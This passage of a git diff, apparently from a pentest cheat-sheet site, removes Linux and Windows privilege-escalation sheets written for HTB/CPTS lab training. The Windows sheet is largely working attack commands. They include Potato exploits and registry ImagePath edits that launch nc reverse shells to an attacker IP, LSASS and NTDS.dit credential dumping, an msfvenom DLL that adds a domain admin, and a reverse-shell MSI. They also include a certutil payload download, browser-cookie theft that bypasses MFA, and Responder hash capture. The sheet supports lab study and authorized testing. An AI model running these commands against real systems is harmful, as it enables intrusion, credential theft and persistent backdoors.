`getcap` answers most boxes; pspy catches the timing-based ones. -2. **Least-invasive first.** SUID/capability/sudo/group beats a kernel exploit — kernels panic, and some Netfilter CVEs reboot the host. -3. **Append, don't overwrite.** Weaponising a root-run script means adding a line and keeping the original intact, or you break the job and tip off defenders. -4. **Every credential is reusable.** Try discovered passwords against all users/services/hosts; `known_hosts` + `arp -a` are your lateral map. -5. **Clean up.** Rogue SUID binaries, fake `.so`/`.py`, `/tmp/sh`, sudoers edits — remove them all. -6. **Check 10250 even when 6443 says no.** Kubelet often allows anonymous access when the API server is locked down. - -## References - -1. [HTB Academy — Linux Privilege Escalation](https://academy.hackthebox.com/module/details/51) -2. [GTFOBins](https://gtfobins.org/) · [PEASS-ng (LinPEAS)](https://github.com/carlospolop/PEASS-ng) -3. [linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) · [pspy](https://github.com/DominicBreuker/pspy) -4. [systemd unit documentation](https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html) · [Linux kernel `/proc` documentation](https://www.kernel.org/doc/html/latest/filesystems/proc.html) -5. [HackTricks — Linux Privilege Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation) -6. [WADComs — Windows/AD commands](https://wadcoms.github.io/) · [LOLBAS — Windows living-off-the-land binaries](https://lolbas-project.github.io/) - ---- - -> [!navigation] Continue the CPTS workflow -> **Previous:** Attacking Common Applications -> -> **Dashboard:** HTB Pentest Workflow -> -> **Next:** Windows Privilege Escalation diff --git a/src/content/sheets/privilege-escalation/windows-privesc-cpts.md b/src/content/sheets/privilege-escalation/windows-privesc-cpts.md @@ -1,442 +0,0 @@ ---- -title: "Windows Privilege Escalation (CPTS)" -description: "CPTS-focused Windows privilege escalation: token and privilege abuse, service/registry misconfig, credential theft and kernel exploits." -category: privilege-escalation -tags: ["privilege-escalation", "windows"] -tools: ["Impacket", "Mimikatz", "Hashcat", "John", "Responder"] -difficulty: advanced -updated: "2026-08-28" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/04 - Windows Privilege Escalation - CPTS Cheat Sheet.md" ---- -# Windows Privilege Escalation — CPTS Cheat Sheet - -## Summary - -From a low-privilege Windows shell to `SYSTEM` / local admin. `whoami /priv` is the single highest-value command — token privileges (SeImpersonate, SeDebug, SeBackup) are the fastest wins, followed by privileged group membership, weak service/registry ACLs, credential hunting, and finally a missing-patch kernel exploit. This card covers the whole module: situational awareness, token & named-pipe abuse, the Potato family, built-in group abuse, UAC bypass, service/registry misconfig, kernel exploits, DLL hijacking, credential hunting/pillaging, attacking users, and LOLBAS/AlwaysInstallElevated. - -> [!danger]+ HTB-Only Boundary -> -> 1. Authorized labs/engagements only. Dumping LSASS, cracking NTDS.dit, and planting service binaries are high-impact — get sign-off. -> 2. **Restore every config you touch** (service `binPath`, registry `ImagePath`, `ServerLevelPluginDll`) — leaving a `net localgroup /add` binPath is a live backdoor. -> 3. DPAPI-protected creds (Clixml, SharpChrome, Chrome cookies) only decrypt as the **originating** user — don't exfil blobs you can't use in scope. - -> [!tip]+ Live command libraries -> - **[WADComs](https://wadcoms.github.io/)** — filterable command reference for Windows and Active Directory techniques, tools and credential states. -> - **[LOLBAS](https://lolbas-project.github.io/)** — searchable catalogue of trusted Windows binaries, scripts and libraries with execution, download, upload, bypass and credential-related functions. -> - **[GTFOBins](https://gtfobins.org/)** — Linux/Unix companion when the path crosses into WSL, containers or another Unix host. -> -> Presence is not a privilege-escalation finding by itself. Confirm the binary path, arguments, integrity level, token privileges, ACLs, application-control policy and network reachability required by the selected technique. - -```mermaid -%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% -flowchart LR - A["whoami /priv + /groups\nsysteminfo"] --> B["winPEAS / PowerUp\nSeatbelt / WES-NG"] - B --> C{"Vector?"} - C --> D["Token: SeImpersonate\nSeDebug / SeBackup"] - C --> E["Group: DnsAdmins\nBackup/Server Operators"] - C --> F["Service / registry\nweak ACL / unquoted"] - C --> G["Creds hunt · UAC bypass\n· kernel CVE"] - D --> H["SYSTEM / admin"] - E --> H - F --> H - G --> H -``` - ---- - -## 1 · Situational awareness - -```batch -:: Identity & privileges — run these first -:: SeImpersonate, SeDebug, or SeBackup may be the shortest route. -whoami /priv -whoami /groups -whoami /all -query user & echo %USERNAME% -net user & net localgroup & net localgroup administrators & net accounts - -:: Processes, services and network context -tasklist /svc -:: Loopback listeners reveal local-only services; interfaces/routes reveal pivots. -netstat -ano -ipconfig /all & arp -a & route print -``` - -```powershell -# OS/build, patches and installed applications (avoid Win32_Product side effects) -Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsBuildNumber, OsArchitecture -Get-HotFix | Sort-Object InstalledOn -Descending | Format-Table -AutoSize -$uninstall = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*', - 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -Get-ItemProperty $uninstall -ErrorAction SilentlyContinue | - Where-Object DisplayName | - Sort-Object DisplayName | - Select-Object DisplayName, DisplayVersion, Publisher - -# Security controls and listening sockets -Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled -Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections -Get-NetTCPConnection -State Listen | Sort-Object LocalPort | - Select-Object LocalAddress, LocalPort, OwningProcess -``` - -> [!tip]+ Automated enumeration (upload to `C:\Windows\Temp` — `BUILTIN\Users` writable) -> -> **winPEAS** (`winPEASx64.exe`) · **PowerUp** (`Invoke-AllChecks`) · **SharpUp** (`SharpUp.exe audit`) · **Seatbelt** · **WES-NG** (`systeminfo` → CVE) · **Watson** (missing KBs) · **LaZagne** (`lazagne.exe all`) · **SessionGopher** · **Sysinternals** (AccessChk, PipeList). Baseline standard user = only `SeChangeNotifyPrivilege` — anything more is a lead. - ---- - -## 2 · Token privilege abuse - -**`SeImpersonate` / `SeAssignPrimaryToken` → the Potato family** (common from service accounts / `xp_cmdshell`): -```batch -:: JuicyPotato — pre-1809 only (DCOM/NTLM reflection) -JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t * - -:: PrintSpoofer — modern builds (coerces Print Spooler) -PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd" -``` -> [!info]+ Which potato? -> `[environment]::OSVersion.Version` first. **JuicyPotato** dead ≥ Server 2019/Win10 1809. **PrintSpoofer / RoguePotato** = Spooler/OXID. **GodPotato** = broadest (Server 2012–2022, Win8–11, no Spooler) — try first if others fail. Catch with `nc -lnvp 8443`. - -**`SeDebugPrivilege` → dump LSASS / steal a SYSTEM token:** -```batch -procdump.exe -accepteula -ma lsass.exe lsass.dmp -``` -```text -mimikatz # sekurlsa::minidump lsass.dmp -mimikatz # sekurlsa::logonpasswords -``` -```powershell -# RCE as SYSTEM by parenting off a SYSTEM process (winlogon PID 612) — trailing "" required -.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","") -``` - -**`SeTakeOwnershipPrivilege` → own any file** (two steps — `takeown` then grant): -```powershell -takeown /f 'C:\Department Shares\Private\IT\cred.txt' -icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F -cat 'C:\Department Shares\Private\IT\cred.txt' -``` -Targets: `web.config`, `%WINDIR%\repair\{sam,system}`, `%WINDIR%\system32\config\*`, `.kdbx`. - -**`SeBackupPrivilege` / Backup Operators → NTDS.dit + hives:** - -Create `C:\Tools\shadow.dsh`: - -```text -set context persistent nowriters -add volume C: alias cdrive -create -expose %cdrive% E: -``` - -```batch -diskshadow.exe /s C:\Tools\shadow.dsh -robocopy /B E:\Windows\NTDS C:\Tools\ntds ntds.dit -reg save HKLM\SYSTEM C:\Tools\SYSTEM.SAV /y -reg save HKLM\SAM C:\Tools\SAM.SAV /y -``` - -```powershell -# SeBackupPrivilegeCmdLets alternative after importing the module -Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit -``` -```bash -impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL -``` - -**`SeLoadDriverPrivilege` / Print Operators → Capcom.sys** (dead since Win10 1803): -```batch -reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys" -reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 -EnableSeLoadDriverPrivilege.exe -ExploitCapcom.exe -``` - ---- - -## 3 · Privileged built-in groups - -**DnsAdmins → malicious DLL loaded by the DNS service (as SYSTEM):** -```bash -msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll -python3 -m http.server 7777 -``` -```batch -:: full path is mandatory -dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll -sc stop dns & sc start dns -net group "Domain Admins" /dom -:: cleanup: reg delete the ServerLevelPluginDll value before restarting -``` - -**Server Operators → hijack a service binPath:** -```batch -sc qc AppReadiness -sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add" -:: Error 1053 may be expected; verify the command side effect. -sc start AppReadiness -net localgroup Administrators -``` - -**Event Log Readers → creds in 4688 process-creation events:** -```powershell -wevtutil qe Security /rd:true /f:text | Select-String "/user" -``` - -**Hyper-V Administrators** → `vmms.exe` restores `.vhdx` perms as SYSTEM (CVE-2018-0952 / CVE-2019-0841): `takeown` a SYSTEM-startable service binary (e.g. Mozilla Maintenance) → replace → `sc start`. - ---- - -## 4 · UAC bypass - -```batch -:: Am I a filtered admin? UAC state? -:: Compare High Mandatory Level with Medium Mandatory Level. -whoami /groups -REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA -REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin -``` -```powershell -[environment]::OSVersion.Version # build → pick the UACMe technique (14393 = 1607 → #54) -``` -DLL-hijack bypass (UACMe #54): drop `srrstr.dll` into user-writable `...\AppData\Local\Microsoft\WindowsApps\` (last in PATH), then trigger the auto-elevating `C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe`. Reference catalogue: **UACMe** (`fodhelper`, `eventvwr`, `computerdefaults`, etc.). - ---- - -## 5 · Weak service & registry permissions - -```batch -:: Enumerate weak service control permissions -SharpUp.exe audit -:: AccessChk: -c service, -w write, -k registry key -accesschk.exe /accepteula -uwcqv "Everyone" * -accesschk.exe /accepteula -quvcw <ServiceName> - -:: Lab proof for a weak service ACL — record and restore the original binPath -sc qc <ServiceName> -sc config <ServiceName> binpath= "cmd /c net localgroup administrators htb-student /add" -:: Error 1053 may be expected; verify the intended side effect. -sc stop <ServiceName> & sc start <ServiceName> - -:: Find writable service registry keys -accesschk.exe /accepteula "<user>" -kvuqsw hklm\System\CurrentControlSet\services -``` - -```powershell -# Unquoted auto-start service paths; verify write access to each path component -Get-CimInstance Win32_Service | - Where-Object { $_.StartMode -eq 'Auto' -and $_.PathName -match '\s' -and $_.PathName -notmatch '^"' } | - Select-Object Name, StartName, State, PathName - -# Weak registry ACL exploitation — record ImagePath before changing it -Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name ImagePath -Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name "ImagePath" -Value "C:\...\nc.exe -e cmd.exe 10.10.10.205 443" -``` - -> [!warning]+ Restore and verify -> Export the original service configuration first. After a lab proof, restore `binPath`/`ImagePath`, startup type, and service state; then confirm the executable path and ACLs match the baseline. - -PowerUp helpers: `Get-ModifiableServiceFile`, `Get-ServiceUnquoted`, `Get-ModifiableRegistryAutoRun`, `Install-ServiceBinary`. (CVE-2019-1322 UsoSvc.) - ---- - -## 6 · Kernel exploits & missing patches - -```batch -systeminfo > systeminfo.txt -``` - -```powershell -Get-HotFix | Sort-Object InstalledOn -Descending -``` - -```bash -# Run WES-NG from the attack host against the captured systeminfo output -python3 wes.py --update -python3 wes.py systeminfo.txt --impact 'Elevation of Privilege' -``` - -| CVE / Bulletin | Name | Tool | -|---|---|---| -| CVE-2021-36934 | HiveNightmare/SeriousSam | `HiveNightmare.exe` (needs a VSS snapshot) | -| CVE-2021-1675 / 34527 | PrintNightmare | `Invoke-Nightmare` | -| CVE-2020-0668 | Service Tracing file-move | `CVE-2020-0668.exe` (chain w/ DLL load) | -| MS16-032 | Secondary Logon | `Invoke-MS16-032` | -| MS10-092 | Task Scheduler | `ms10_092_schelevator` | -| MS17-010 / MS08-067 | EternalBlue / RPC | (legacy) | - -```powershell -# HiveNightmare — any user if BUILTIN\Users:(I)(RX) on SAM -.\HiveNightmare.exe -# → impacket-secretsdump -sam SAM-* -system SYSTEM-* -security SECURITY-* local - -# PrintNightmare -Import-Module .\CVE-2021-1675.ps1 -Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt" -``` - ---- - -## 7 · DLL hijacking & vulnerable third-party software - -```powershell -# Identify app versions without querying Win32_Product -Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*', - 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' | - Where-Object DisplayName | - Select-Object DisplayName, DisplayVersion, InstallLocation -Get-Service | Where-Object DisplayName -Like 'Druva*' -Get-NetTCPConnection -State Listen | Where-Object LocalPort -eq <port> -``` -Discovery: ProcMon filter `Operation is Load Image` + `Result is NAME NOT FOUND`; static `dumpbin /imports`; PowerUp `Find-ProcessDLLHijack` / `Find-PathDLLHijack`. Then plant a DLL in a writable, earlier-searched dir (the app's own directory is searched first). **DLL proxying** preserves functionality (rename real → `library.o.dll`, forward exports). Loopback RPC services running as SYSTEM (e.g. Druva inSync on 6064) can be command-injected for a SYSTEM shell. - ---- - -## 8 · Credential hunting & pillaging - -```batch -:: Stored credentials, saved sessions and common plaintext locations -cmdkey /list -:: If an approved saved credential exists: runas /savecred /user:DOMAIN\bob "cmd" -findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml - -:: Registry autologon and PuTTY proxy settings -:: Review DefaultUserName and DefaultPassword values. -reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<session> - -:: Unattended-install and Sysprep answer files -dir /s /b C:\Windows\Panther\Unattend*.xml 2>nul -dir /s /b C:\Windows\System32\Sysprep\*.xml 2>nul - -:: Wi-Fi profiles -netsh wlan show profile <SSID> key=clear -``` - -```powershell -# PowerShell history and same-user DPAPI-protected CliXML -Get-Content (Get-PSReadLineOption).HistorySavePath -$credential = Import-Clixml -Path 'C:\scripts\pass.xml' -$credential.GetNetworkCredential().Password - -# Browsers / vaults / managers -.\SharpChrome.exe logins /unprotect -.\lazagne.exe all -Import-Module .\SessionGopher.ps1 -Invoke-SessionGopher -Target <host> -# KeePass: keepass2john ILFREIGHT.kdbx → hashcat -m 13400 -# mRemoteNG: %APPDATA%\mRemoteNG\confCons.xml → mremoteng_decrypt.py -s "<blob>" (default master 'mR3m') -``` -Cookie theft (bypasses MFA): `Invoke-SharpChromium -Command "cookies slack.com"` (Slack cookie name `d`). Share crawling: **Snaffler**. Mount disks: `guestmount -a disk.vmdk -i --ro /mnt` → `impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL`. - ---- - -## 9 · Attacking users, LOLBAS & misc - -```bash -# Force auth from a browsing user, crack NTLMv2 -sudo responder -wrf -v -I tun0 -hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt -``` -Bait files in a writable share: `.scf` (pre-2019) or `.lnk` with `TargetPath = \\<attacker>\@pwn.png` (Server 2019+). Use [LOLBAS](https://lolbas-project.github.io/) to verify the exact function and prerequisites for a native binary; one download example is `certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat`. - -**AlwaysInstallElevated** (needs **both** HKCU + HKLM `= 0x1`): -```batch -reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated -reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated -``` -```bash -msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi -``` -```batch -msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart -``` - -**CVE-2019-1388** (patched Nov 2019): run `hhupd.exe` as admin → *Show publisher certificate* → click the **Issued by** hyperlink → browser opens as SYSTEM → View source → Save As → type `c:\windows\system32\cmd.exe` = SYSTEM shell. - -**Named pipes:** `pipelist.exe /accepteula` / `gci \\.\pipe\` → `accesschk.exe -w \pipe\<name> -v`; a writable SYSTEM-owned pipe + `SeImpersonate` = token theft. - -**Citrix/kiosk breakout:** type `\\127.0.0.1\c$\users\<user>` or `\\<attacker>\share` in a File-name dialog; right-click `.exe` → Open; shortcut Target → `cmd.exe`. - ---- - -## 10 · Scheduled tasks & autoruns - -Start with task identity, trigger, run level, executable, arguments, and working directory. A task is only exploitable when a low-privilege user can alter something a higher-privilege principal executes. - -```batch -:: Inventory tasks and export one task as XML for exact paths/arguments -schtasks /query /fo LIST /v -schtasks /query /tn "\Vendor\Updater" /xml - -:: Enumerate startup extensibility with Microsoft Sysinternals -autorunsc64.exe -accepteula -a * -m -s -h -t -``` - -```powershell -# Triage scheduled tasks without mixing CMD syntax into this block -Get-ScheduledTask | ForEach-Object { - $info = $_ | Get-ScheduledTaskInfo - [pscustomobject]@{ - Task = $_.TaskPath + $_.TaskName - Principal = $_.Principal.UserId - RunLevel = $_.Principal.RunLevel - Actions = ($_.Actions.Execute + " " + $_.Actions.Arguments).Trim() - NextRun = $info.NextRunTime - } -} | Format-Table -Wrap - -# Common per-user and machine autorun locations -Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, User, Location -Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue -Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue -``` - -```batch -:: Check every directory in the action path, plus the final file -icacls "C:\Program Files\Vendor\Updater" -icacls "C:\Program Files\Vendor\Updater\update.exe" -accesschk64.exe -accepteula -qvw "C:\Program Files\Vendor\Updater\update.exe" -accesschk64.exe -accepteula -qvw "C:\Scripts" -``` - -> [!warning]+ Validate safely -> Record the original task XML, executable hash, owner, and ACLs. Prefer a reversible proof such as writing a timestamp to a lab-only file; do not replace production binaries. Restore the artifact and verify its hash and permissions afterward. - ---- - -## CVE quick index - -| CVE / Bulletin | Vector | Tool | -|---|---|---| -| CVE-2021-36934 | SAM readable (HiveNightmare) | `HiveNightmare.exe` | -| CVE-2021-1675 / 34527 | PrintNightmare | `Invoke-Nightmare` | -| CVE-2016-0099 (MS16-032) | Secondary Logon | `Invoke-MS16-032` | -| CVE-2010-3338 (MS10-092) | Task Scheduler | `ms10_092_schelevator` | -| CVE-2020-0668 | Service Tracing move | `CVE-2020-0668.exe` | -| CVE-2019-1388 | UAC cert dialog | `hhupd.exe` (manual) | -| CVE-2018-0952 / 2019-0841 | Hyper-V Admins VHD | service-binary swap | -| CVE-2019-1322 | UsoSvc weak perms | `sc config` | - ---- - -## Lessons Learned & gotchas - -1. **`whoami /priv` first, every time** — SeImpersonate/SeDebug/SeBackup are the shortest path to SYSTEM. -2. **A failed `sc start` (1053) is not a failed exploit** — the `binPath` command already ran; check the side effect. -3. **Match the potato to the build** — JuicyPotato is dead ≥1809; GodPotato is broadest, try it first. -4. **Two-step take-own** — `takeown` then `icacls /grant`; `cat` fails until the ACL grant runs. -5. **Restore what you change** — service `binPath`, registry `ImagePath`, `ServerLevelPluginDll`; leaving them is a backdoor and a broken service. -6. **DPAPI creds are user-bound** — Clixml, SharpChrome, Chrome cookies only decrypt as the originating user; re-run credential hunts after each escalation (new profiles become readable). -7. **Many "classics" are patched** — Capcom (1803), CVE-2019-1388 (Nov 2019), SCF NTLM capture (2019). Confirm the build/patch level before committing. - -## References - -1. [HTB Academy — Windows Privilege Escalation](https://academy.hackthebox.com/module/details/67) -2. [PayloadsAllTheThings — Windows PrivEsc](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) -3. [Microsoft — Autoruns and Autorunsc](https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns) · [Microsoft — schtasks](https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks) -4. [PowerSploit/PowerUp](https://github.com/PowerShellMafia/PowerSploit) · [WES-NG](https://github.com/bitsadmin/wesng) · [UACMe](https://github.com/hfiref0x/UACME) -5. [LOLBAS](https://lolbas-project.github.io/) · [WADComs](https://wadcoms.github.io/) · [HackTricks — Windows Local Privilege Escalation](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation) -6. [GTFOBins — Linux/Unix companion](https://gtfobins.org/) diff --git a/src/lib/taxonomy.ts b/src/lib/taxonomy.ts @@ -11,6 +11,7 @@ export type CategoryDef = { }; export const CATEGORIES: CategoryDef[] = [ + { slug: 'pentest-workflow', title: 'Pentest Workflow', tag: 'FLOW', accent: 'love', blurb: 'CPTS attack-flow playbooks: common services & apps, privesc, web shells, and TTY upgrades.' }, { slug: 'active-directory', title: 'Active Directory', tag: 'AD', accent: 'iris', blurb: 'Kerberos, ADCS, delegation, and domain takeover paths.' }, { slug: 'enumeration', title: 'Enumeration', tag: 'ENUM', accent: 'foam', blurb: 'Port, service, web, and host discovery — mapping the attack surface.' }, { slug: 'exploitation', title: 'Exploitation', tag: 'PWN', accent: 'love', blurb: 'Gaining a foothold: injection, upload, and shell delivery.' },